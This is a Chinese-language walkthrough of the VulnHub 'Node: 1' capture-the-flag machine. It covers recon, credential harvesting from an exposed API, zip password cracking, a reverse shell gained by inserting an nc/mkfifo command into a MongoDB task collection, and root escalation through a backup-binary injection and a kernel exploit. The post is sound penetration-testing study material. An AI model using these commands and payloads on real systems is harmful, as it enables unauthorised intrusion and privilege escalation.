VulnHub-Node: 1-靶机渗透学习 – 作者:DXR嗯嗯呐

靶机地址:https://www.vulnhub.com/entry/node-1,252/

靶机难度:中级(CTF)

靶机发布日期:2018年8月7日

靶机描述:

节点是中等级别的boot2root挑战,最初是为HackTheBox创建的。有两个标志(用户和根标志)和多种不同的技术可以使用。OVA已在VMware和Virtual Box上进行了测试

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

信息收集

nmap扫描靶机IP

1611502310_600d92e68e4f4ba6a1378.png!small?1611502310380

nmap扫描端口

1611502315_600d92eb107b3dc77f97c.png!small?1611502316129

22 ssh

3000    hadoop-tasktracker Apache

访问3000端口

1611502319_600d92efee09312df9986.png!small?1611502320234

我们在界面上看到了三个名字,可能会是用户名:tom、mark、rastating

使用sqlmap、dirb、gobuster、nikto分别测试都未发现漏洞,查看网页源代码,我们看到了几个js。

1611502330_600d92fa90f0af59d639e.png!small?1611502330941

分别看了这几个js,感觉像是在前端校验登陆,在assets/js/app/controllers/profile.js中看到了关于用户字眼的目录,访问以下看看

1611502340_600d9304012f453b1e50d.png!small?1611502339782

访问/api/users/,我们看到了json字符串,看到了账号密码

1611502360_600d93187e5c781c2531a.png!small?1611502360250

密码像是md5加密,解密以下看看

1611502365_600d931d84980e32050df.png!small?1611502365362

myP14ceAdm1nAcc0uNT/manchester

登陆成功

1611502374_600d93265feed06f40679.png!small?1611502374421

下载备份,看到文件内容是base64加密

1611502379_600d932b8028fa6f9cc8d.png!small?1611502382553

使用base64 -d 解码输出一个文件内

1611502384_600d93304a2f9ceeced26.png!small?1611502384036

将文件打开看了一下,是乱码,file看一下文件类型是zip压缩包

1611502392_600d9338b84c4be806554.png!small?1611502392487

改一下文件格式,使用unzip解压看一下,发现需要密码

1611502398_600d933e1e44158999273.png!small?1611502397888

我们前面学习的过程中使用后压缩包解密的一个程序fcrackzip ,使用fcrackzip 解密

Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。

  • -u 用zip去尝试
  • -D 使用字典
  • -p 使用字符串作为初始密码/文件

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

1611502408_600d9348220ed963d9533.png!small?1611502407865

真的很快,使用密码解压看看

1611502436_600d9364983216e5530a6.png!small?1611502436567

去对应目录下看看去

1611502442_600d936a067a712509537.png!small?1611502441879

我们看了app.js文件,在node.js中app.js是项目入口及程序启动文件,十分重要,我么看一下文件内容,我们找到了mongodb数据库的mark用户的账号密码,但是kail连接不上mongodb,先使用ssh连接测试一下。

1611502460_600d937c338529eaa7045.png!small?1611502460035

mark/5AYRft73VtFpc84k

提权

backup程序漏洞提权

ssh登陆成功

1611502465_600d938119f5bc217fd31.png!small?1611502464872

检查发现需要一个user.txt文件和一个backup程序,都是tom权限的,看一下怎么提权到tom用户

1611502470_600d93861db097cf61cc2.png!small?1611502469910

查一下tom运行的程序

ps -ef | grep tom

1611502475_600d938bd1edcfc1e1aa7.png!small?1611502475716

我们检查app.js文件是看到了 exec函数执行tasks表中cmd字段的数据,每三十秒调用setInterval函数执行一次,我也不太懂,有兴趣的同学可以参考Node.js MongoDB部分

1611502574_600d93ee2384f6b78a7c0.png!small?1611502574567

如果是这样的话,就我们就可以将反弹shell插入到MongoDB数据库的tasks表中,这个脚本会自动执行,连接MongoDB,进去scheduler数据库

有兴趣的同学可以参考mongodb连接部分

mongo -u mark -p 5AYRft73VtFpc84k scheduler

1611502581_600d93f56faf24dc6809e.png!small?1611502581157

令查看已存在的表

show tables;

1611502701_600d946d4895e2c2b4e4e.png!small?1611502701039

我们看到了表,查看一下表内容,现在表中无文档

db.tasks.find();

1611502713_600d94796546f34653ad7.png!small?1611502713111

将反弹shell插入文档

db.tasks.insert({cmd:”rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.143 6666 >/tmp/f”});

1611502729_600d94898f7bb1db06749.png!small?1611502729396

kail监听666端口,获得tom用户shell

1611502735_600d948f664c0cfeda8f0.png!small?1611502735224

在tom用户下,看到了users.txt用户

1611502741_600d949575cf740412e5a.png!small?1611502741238

我们再去看backup程序

strings backup

1611502748_600d949ccafe994aa13b0.png!small?1611502750333

之后我不太明白怎么利用了,找到前辈的脚本之后获得root权限,如果有兴趣请参考

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 “$(echo ‘/any_directory\n/bin/bash\nany_command’)”

注意:此命令不可以在伪终端内不起作用,必须先进入/bin/sh未获得tty时执行。

1611502774_600d94b6a087b2c8da632.png!small?1611502774484

ubuntu 16.04内核漏洞提权

查看内核版本,发现ubuntu 16.04,应该可以直接提权

1611502843_600d94fb2a9445289198a.png!small?1611502842937

查一下对应的exp

1611502849_600d95015b3187ed74028.png!small?1611502849265

1611502854_600d95067b6789238ea42.png!small?1611502855891

上传exp到靶机,gcc编译,完成提权,获得root权限

1611502858_600d950ae9eb54723e60a.png!small?1611502859376

完成!!!

总结

1、nmap扫描靶机IP和端口,访问3000端口,查看网页源代码,审计发现/api/users目录,获得web登陆信息,登陆下载备份包。

2、base64解码备份包,fcrackzip爆破ZIP压缩包密码,unzip解压,在app.js文件中获得mongodb登陆方式。

3、使用mongodb的用户密码,ssh登陆成功,查看tom用户运行的程序,查看app.js文件。发现tom用户的node脚本定时执行mongodb数据库中tasks表的内容。

4、将反弹shell插入tasks表,tom用户自动执行获得tom用户shell,获得users.txt文件。

5、利用用户root的SID权限的backup程序,因为程序所属组中包含tom用户,执行特定脚本,获得root权限,获得root.txt.文件。

6、利用ubuntu 16. 04 内核漏洞,利用44298.c exp,直接在mark用户提权,获得root权限,获得root.txt.文件。

来源:freebuf.com 2021-01-24 23:54:15 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论